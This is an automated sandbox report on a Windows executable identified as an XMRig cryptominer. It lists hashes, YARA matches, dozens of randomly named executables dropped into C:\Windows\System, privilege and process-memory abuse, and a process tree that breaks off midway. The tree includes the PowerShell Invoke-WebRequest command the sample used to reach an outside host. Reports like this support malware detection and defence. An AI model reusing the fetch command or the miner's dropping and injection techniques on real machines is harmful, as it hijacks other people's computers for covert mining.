xmrig | 2b1e93636b4401034677652382d86dbd867a8ef255610f29bde05a4392f27a83

Analysis

max time kernel
119s
max time network
117s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
25/07/2024, 13:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d6730f0efe9bdde7249ca243359b4b30N.exe
Size

1.4MB
MD5

d6730f0efe9bdde7249ca243359b4b30
SHA1

30e2068c821b0f4ff024dbddbdec2b335b6dfdd2
SHA256

2b1e93636b4401034677652382d86dbd867a8ef255610f29bde05a4392f27a83
SHA512

383de019b7f4e7a3bf19b7b65f8a5f158be01b5cf3eaaff12aac1848c012bd2dc5d5c1b2de80aff5b718aeb413d3785bc726062ecf0a6965c6ba38dd4741a67b
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYsfLGrAvWWXkCRgx6nU8UywjWn5:Lz071uv4BPMkibTIA5sf6r+W4AQVl+gz

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 24 IoCs

miner

resource	yara_rule
behavioral1/memory/2784-9-0x000000013FB50000-0x000000013FF42000-memory.dmp	xmrig
behavioral1/memory/2148-16-0x000000013FF70000-0x0000000140362000-memory.dmp	xmrig
behavioral1/memory/2220-224-0x000000013FF70000-0x0000000140362000-memory.dmp	xmrig
behavioral1/memory/2184-222-0x000000013F630000-0x000000013FA22000-memory.dmp	xmrig
behavioral1/memory/1392-220-0x000000013F8F0000-0x000000013FCE2000-memory.dmp	xmrig
behavioral1/memory/776-218-0x000000013FC70000-0x0000000140062000-memory.dmp	xmrig
behavioral1/memory/2764-216-0x000000013F430000-0x000000013F822000-memory.dmp	xmrig
behavioral1/memory/1624-211-0x000000013FA70000-0x000000013FE62000-memory.dmp	xmrig
behavioral1/memory/3032-206-0x000000013FAC0000-0x000000013FEB2000-memory.dmp	xmrig
behavioral1/memory/2552-192-0x000000013FE90000-0x0000000140282000-memory.dmp	xmrig
behavioral1/memory/2576-190-0x000000013F0D0000-0x000000013F4C2000-memory.dmp	xmrig
behavioral1/memory/2776-189-0x000000013F030000-0x000000013F422000-memory.dmp	xmrig
behavioral1/memory/2552-3850-0x000000013FE90000-0x0000000140282000-memory.dmp	xmrig
behavioral1/memory/776-3853-0x000000013FC70000-0x0000000140062000-memory.dmp	xmrig
behavioral1/memory/2784-3852-0x000000013FB50000-0x000000013FF42000-memory.dmp	xmrig
behavioral1/memory/1624-3866-0x000000013FA70000-0x000000013FE62000-memory.dmp	xmrig
behavioral1/memory/2184-3862-0x000000013F630000-0x000000013FA22000-memory.dmp	xmrig
behavioral1/memory/2776-3870-0x000000013F030000-0x000000013F422000-memory.dmp	xmrig
behavioral1/memory/3032-4275-0x000000013FAC0000-0x000000013FEB2000-memory.dmp	xmrig
behavioral1/memory/2148-4272-0x000000013FF70000-0x0000000140362000-memory.dmp	xmrig
behavioral1/memory/2576-4301-0x000000013F0D0000-0x000000013F4C2000-memory.dmp	xmrig
behavioral1/memory/2220-4319-0x000000013FF70000-0x0000000140362000-memory.dmp	xmrig
behavioral1/memory/2764-4306-0x000000013F430000-0x000000013F822000-memory.dmp	xmrig
behavioral1/memory/1392-4279-0x000000013F8F0000-0x000000013FCE2000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2788	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2784	HQltNZH.exe
2148	goZRxIP.exe
2776	OSwwflL.exe
2576	bznnemh.exe
2552	FtbVKnf.exe
3032	gKhwTgs.exe
1624	mAtJWRR.exe
2764	fhhMRKe.exe
776	ZpFJDkA.exe
1392	rHufdhy.exe
2184	BCwgBgc.exe
2220	CTrrfmj.exe
1676	Mkzzmep.exe
316	rKaRuDS.exe
1800	uQitlVJ.exe
2532	dwmNzJr.exe
2740	cbAqoqA.exe
2896	ugjcLGl.exe
2524	yHhJihh.exe
2904	piPeNrB.exe
296	fomBimW.exe
3028	SUAVVoo.exe
1644	IRfOuRG.exe
1008	ScGBKOu.exe
668	vMDsnbM.exe
2164	lSbCPrX.exe
2996	wppgZMC.exe
1780	iGtqlhB.exe
2980	QhGKzBj.exe
1952	AqpohYN.exe
2448	pHFzZdK.exe
1532	zFGSSBh.exe
1968	cNrfcpv.exe
1264	RwEIYaY.exe
344	KqITpOC.exe
932	YSMxFWo.exe
1608	WDnpTmN.exe
840	NezHlxh.exe
376	dyAtfRP.exe
1796	NdurQnZ.exe
1988	ERMqBGh.exe
568	kUVSpRc.exe
1324	IGFlmKg.exe
1704	woZXdgf.exe
784	Xvemldw.exe
892	bULGVGR.exe
2400	BULmnYy.exe
1588	zGAgibl.exe
2968	bQPrWNK.exe
1592	mIxjlqv.exe
2868	OvpGQOV.exe
2240	jTkUuMo.exe
2716	uzvUKjd.exe
2608	xzISlBU.exe
1012	MstPvYe.exe
2276	pHNcSDV.exe
772	GEbeGKi.exe
572	GtxRHvC.exe
2264	MJFOvgB.exe
2208	uVgHDha.exe
1744	ilwYKww.exe
2908	GQBETGt.exe
2600	fjugnHy.exe
2856	BZwchAJ.exe

Loads dropped DLL 64 IoCs

pid	Process
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe
2368	d6730f0efe9bdde7249ca243359b4b30N.exe

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2368-2-0x000000013F120000-0x000000013F512000-memory.dmp	upx
behavioral1/files/0x00070000000120f9-3.dat	upx
behavioral1/memory/2784-9-0x000000013FB50000-0x000000013FF42000-memory.dmp	upx
behavioral1/files/0x0009000000015ceb-13.dat	upx
behavioral1/memory/2148-16-0x000000013FF70000-0x0000000140362000-memory.dmp	upx
behavioral1/files/0x0008000000015d13-23.dat	upx
behavioral1/files/0x0007000000015e25-31.dat	upx
behavioral1/files/0x0008000000015cf7-20.dat	upx
behavioral1/files/0x000f0000000054a8-36.dat	upx
behavioral1/files/0x0009000000015fcc-50.dat	upx
behavioral1/files/0x0006000000016d2a-59.dat	upx
behavioral1/files/0x0006000000016d43-74.dat	upx
behavioral1/files/0x0006000000016d4b-79.dat	upx
behavioral1/files/0x0006000000016d6b-94.dat	upx
behavioral1/files/0x0006000000016d6f-99.dat	upx
behavioral1/files/0x0006000000016d9f-109.dat	upx
behavioral1/files/0x00060000000171b9-134.dat	upx
behavioral1/files/0x00060000000175f0-161.dat	upx
behavioral1/memory/2220-224-0x000000013FF70000-0x0000000140362000-memory.dmp	upx
behavioral1/memory/2184-222-0x000000013F630000-0x000000013FA22000-memory.dmp	upx
behavioral1/memory/1392-220-0x000000013F8F0000-0x000000013FCE2000-memory.dmp	upx
behavioral1/memory/776-218-0x000000013FC70000-0x0000000140062000-memory.dmp	upx
behavioral1/memory/2764-216-0x000000013F430000-0x000000013F822000-memory.dmp	upx
behavioral1/memory/1624-211-0x000000013FA70000-0x000000013FE62000-memory.dmp	upx
behavioral1/memory/3032-206-0x000000013FAC0000-0x000000013FEB2000-memory.dmp	upx
behavioral1/memory/2552-192-0x000000013FE90000-0x0000000140282000-memory.dmp	upx
behavioral1/memory/2576-190-0x000000013F0D0000-0x000000013F4C2000-memory.dmp	upx
behavioral1/memory/2776-189-0x000000013F030000-0x000000013F422000-memory.dmp	upx
behavioral1/files/0x00050000000186f7-171.dat	upx
behavioral1/files/0x00050000000186f3-166.dat	upx
behavioral1/files/0x00060000000175cc-151.dat	upx
behavioral1/files/0x00060000000175d0-155.dat	upx
behavioral1/files/0x00060000000173b8-141.dat	upx
behavioral1/files/0x00060000000173eb-146.dat	upx
behavioral1/files/0x0033000000015cce-129.dat	upx
behavioral1/files/0x0006000000017093-125.dat	upx
behavioral1/files/0x000600000001703d-119.dat	upx
behavioral1/files/0x0006000000016db1-114.dat	upx
behavioral1/files/0x0006000000016d77-104.dat	upx
behavioral1/files/0x0006000000016d67-89.dat	upx
behavioral1/files/0x0006000000016d56-84.dat	upx
behavioral1/files/0x0006000000016d3a-69.dat	upx
behavioral1/files/0x0006000000016d32-64.dat	upx
behavioral1/files/0x00090000000160d8-54.dat	upx
behavioral1/files/0x0008000000015f50-44.dat	upx
behavioral1/memory/2552-3850-0x000000013FE90000-0x0000000140282000-memory.dmp	upx
behavioral1/memory/776-3853-0x000000013FC70000-0x0000000140062000-memory.dmp	upx
behavioral1/memory/2784-3852-0x000000013FB50000-0x000000013FF42000-memory.dmp	upx
behavioral1/memory/1624-3866-0x000000013FA70000-0x000000013FE62000-memory.dmp	upx
behavioral1/memory/2184-3862-0x000000013F630000-0x000000013FA22000-memory.dmp	upx
behavioral1/memory/2776-3870-0x000000013F030000-0x000000013F422000-memory.dmp	upx
behavioral1/memory/3032-4275-0x000000013FAC0000-0x000000013FEB2000-memory.dmp	upx
behavioral1/memory/2148-4272-0x000000013FF70000-0x0000000140362000-memory.dmp	upx
behavioral1/memory/2576-4301-0x000000013F0D0000-0x000000013F4C2000-memory.dmp	upx
behavioral1/memory/2220-4319-0x000000013FF70000-0x0000000140362000-memory.dmp	upx
behavioral1/memory/2764-4306-0x000000013F430000-0x000000013F822000-memory.dmp	upx
behavioral1/memory/1392-4279-0x000000013F8F0000-0x000000013FCE2000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\uQNTUdx.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\afTneHT.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\wEyxLEs.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\JTMZYTX.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\YwEhjlb.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\yPFSnSl.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\vnpehrU.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\MRRcyVv.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\zRtjawz.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\rbnZEWi.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\eCIvGXP.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\ZFzHdWs.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\uzvUKjd.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\HerxRRD.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\wTjJNxD.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\YzrmfDJ.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\EpRQUIG.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\yHhJihh.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\FMpFiIV.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\NYpOKfW.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\LbksAik.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\nJVpxyR.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\rhdxlJD.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\pHFzZdK.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\CrJkVgB.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\KNhsKGm.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\OpgitWd.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\GaIGKtS.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\Xvemldw.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\PBkHDte.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\FNXXwgR.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\CResvhq.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\sFbWwKM.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\owIURFE.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\pLpsYvN.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\DbcTNRa.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\bDqKCcM.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\xDwLMVc.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\mifuHdg.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\SgPlcFi.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\VAWsBAZ.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\Iuqrolq.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\iFQNVCx.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\CCEvPAU.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\tMKizcj.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\VydeipV.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\CmmkDev.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\oUjjWqz.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\CctISvX.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\FODJUnx.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\mFiuXmk.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\hBCDpYa.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\SUJpUon.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\ASIuNia.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\iPwObmd.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\UcKOQta.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\ZaxjNHA.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\uehXHKT.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\LPXRXzV.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\iLFBYUe.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\HEHzQIT.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\vIQavmu.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\jPlPAdX.exe	d6730f0efe9bdde7249ca243359b4b30N.exe
File created	C:\Windows\System\htdDjDS.exe	d6730f0efe9bdde7249ca243359b4b30N.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2788	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2368	d6730f0efe9bdde7249ca243359b4b30N.exe
Token: SeLockMemoryPrivilege	2368	d6730f0efe9bdde7249ca243359b4b30N.exe
Token: SeDebugPrivilege	2788	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2368 wrote to memory of 2788	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	31
PID 2368 wrote to memory of 2788	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	31
PID 2368 wrote to memory of 2788	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	31
PID 2368 wrote to memory of 2784	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	32
PID 2368 wrote to memory of 2784	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	32
PID 2368 wrote to memory of 2784	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	32
PID 2368 wrote to memory of 2148	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	33
PID 2368 wrote to memory of 2148	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	33
PID 2368 wrote to memory of 2148	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	33
PID 2368 wrote to memory of 2776	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	34
PID 2368 wrote to memory of 2776	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	34
PID 2368 wrote to memory of 2776	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	34
PID 2368 wrote to memory of 2576	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	35
PID 2368 wrote to memory of 2576	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	35
PID 2368 wrote to memory of 2576	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	35
PID 2368 wrote to memory of 2552	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	36
PID 2368 wrote to memory of 2552	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	36
PID 2368 wrote to memory of 2552	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	36
PID 2368 wrote to memory of 3032	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	37
PID 2368 wrote to memory of 3032	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	37
PID 2368 wrote to memory of 3032	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	37
PID 2368 wrote to memory of 1624	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	38
PID 2368 wrote to memory of 1624	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	38
PID 2368 wrote to memory of 1624	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	38
PID 2368 wrote to memory of 2764	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	39
PID 2368 wrote to memory of 2764	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	39
PID 2368 wrote to memory of 2764	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	39
PID 2368 wrote to memory of 776	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	40
PID 2368 wrote to memory of 776	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	40
PID 2368 wrote to memory of 776	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	40
PID 2368 wrote to memory of 1392	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	41
PID 2368 wrote to memory of 1392	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	41
PID 2368 wrote to memory of 1392	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	41
PID 2368 wrote to memory of 2184	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	42
PID 2368 wrote to memory of 2184	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	42
PID 2368 wrote to memory of 2184	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	42
PID 2368 wrote to memory of 2220	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	43
PID 2368 wrote to memory of 2220	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	43
PID 2368 wrote to memory of 2220	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	43
PID 2368 wrote to memory of 1676	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	44
PID 2368 wrote to memory of 1676	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	44
PID 2368 wrote to memory of 1676	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	44
PID 2368 wrote to memory of 316	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	45
PID 2368 wrote to memory of 316	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	45
PID 2368 wrote to memory of 316	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	45
PID 2368 wrote to memory of 1800	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	46
PID 2368 wrote to memory of 1800	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	46
PID 2368 wrote to memory of 1800	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	46
PID 2368 wrote to memory of 2532	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	47
PID 2368 wrote to memory of 2532	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	47
PID 2368 wrote to memory of 2532	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	47
PID 2368 wrote to memory of 2740	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	48
PID 2368 wrote to memory of 2740	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	48
PID 2368 wrote to memory of 2740	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	48
PID 2368 wrote to memory of 2896	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	49
PID 2368 wrote to memory of 2896	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	49
PID 2368 wrote to memory of 2896	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	49
PID 2368 wrote to memory of 2524	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	50
PID 2368 wrote to memory of 2524	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	50
PID 2368 wrote to memory of 2524	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	50
PID 2368 wrote to memory of 2904	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	51
PID 2368 wrote to memory of 2904	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	51
PID 2368 wrote to memory of 2904	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	51
PID 2368 wrote to memory of 296	2368	d6730f0efe9bdde7249ca243359b4b30N.exe	52

C:\Users\Admin\AppData\Local\Temp\d6730f0efe9bdde7249ca243359b4b30N.exe
"C:\Users\Admin\AppData\Local\Temp\d6730f0efe9bdde7249ca243359b4b30N.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2788
- C:\Windows\System\HQltNZH.exe
  C:\Windows\System\HQltNZH.exe
  2⤵
  - Executes dropped EXE
  PID:2784
- C:\Windows\System\goZRxIP.exe
  C:\Windows\System\goZRxIP.exe
  2⤵
  - Executes dropped EXE
  PID:2148
- C:\Windows\System\OSwwflL.exe
  C:\Windows\System\OSwwflL.exe
  2⤵
  - Executes dropped EXE
  PID:2776
- C:\Windows\System\bznnemh.exe
  C:\Windows\System\bznnemh.exe
  2⤵
  - Executes dropped EXE
  PID:2576
- C:\Windows\System\FtbVKnf.exe
  C:\Windows\System\FtbVKnf.exe
  2⤵
  - Executes dropped EXE
  PID:2552
- C:\Windows\System\gKhwTgs.exe
  C:\Windows\System\gKhwTgs.exe
  2⤵
  - Executes dropped EXE
  PID:3032
- C:\Windows\System\mAtJWRR.exe
  C:\Windows\System\mAtJWRR.exe
  2⤵
  - Executes dropped EXE
  PID:1624
- C:\Windows\System\fhhMRKe.exe
  C:\Windows\System\fhhMRKe.exe
  2⤵
  - Executes dropped EXE
  PID:2764
- C:\Windows\System\ZpFJDkA.exe
  C:\Windows\System\ZpFJDkA.exe
  2⤵
  - Executes dropped EXE
  PID:776
- C:\Windows\System\rHufdhy.exe
  C:\Windows\System\rHufdhy.exe
  2⤵
  - Executes dropped EXE
  PID:1392
- C:\Windows\System\BCwgBgc.exe
  C:\Windows\System\BCwgBgc.exe
  2⤵
  - Executes dropped EXE
  PID:2184
- C:\Windows\System\CTrrfmj.exe
  C:\Windows\System\CTrrfmj.exe
  2⤵
  - Executes dropped EXE
  PID:2220
- C:\Windows\System\Mkzzmep.exe
  C:\Windows\System\Mkzzmep.exe
  2⤵
  - Executes dropped EXE
  PID:1676
- C:\Windows\System\rKaRuDS.exe
  C:\Windows\System\rKaRuDS.exe
  2⤵
  - Executes dropped EXE
  PID:316
- C:\Windows\System\uQitlVJ.exe
  C:\Windows\System\uQitlVJ.exe
  2⤵
  - Executes dropped EXE
  PID:1800
- C:\Windows\System\dwmNzJr.exe
  C:\Windows\System\dwmNzJr.exe
  2⤵
  - Executes dropped EXE
  PID:2532
- C:\Windows\System\cbAqoqA.exe
  C:\Windows\System\cbAqoqA.exe
  2⤵
  - Executes dropped EXE
  PID:2740
- C:\Windows\System\ugjcLGl.exe
  C:\Windows\System\ugjcLGl.exe
  2⤵
  - Executes dropped EXE
  PID:2896
- C:\Windows\System\yHhJihh.exe
  C:\Windows\System\yHhJihh.exe
  2⤵
  - Executes dropped EXE
  PID:2524
- C:\Windows\System\piPeNrB.exe
  C:\Windows\System\piPeNrB.exe
  2⤵
  - Executes dropped EXE
  PID:2904
- C:\Windows\System\fomBimW.exe
  C:\Windows\System\fomBimW.exe
  2⤵
  - Executes dropped EXE
  PID:296
- C:\Windows\System\SUAVVoo.exe
  C:\Windows\System\SUAVVoo.exe
  2⤵
  - Executes dropped EXE
  PID:3028
- C:\Windows\System\IRfOuRG.exe
  C:\Windows\System\IRfOuRG.exe
  2⤵
  - Executes dropped EXE
  PID:1644
- C:\Windows\System\ScGBKOu.exe
  C:\Windows\System\ScGBKOu.exe
  2⤵
  - Executes dropped EXE
  PID:1008
- C:\Windows\System\vMDsnbM.exe
  C:\Windows\System\vMDsnbM.exe
  2⤵
  - Executes dropped EXE
  PID:668
- C:\Windows\System\lSbCPrX.exe
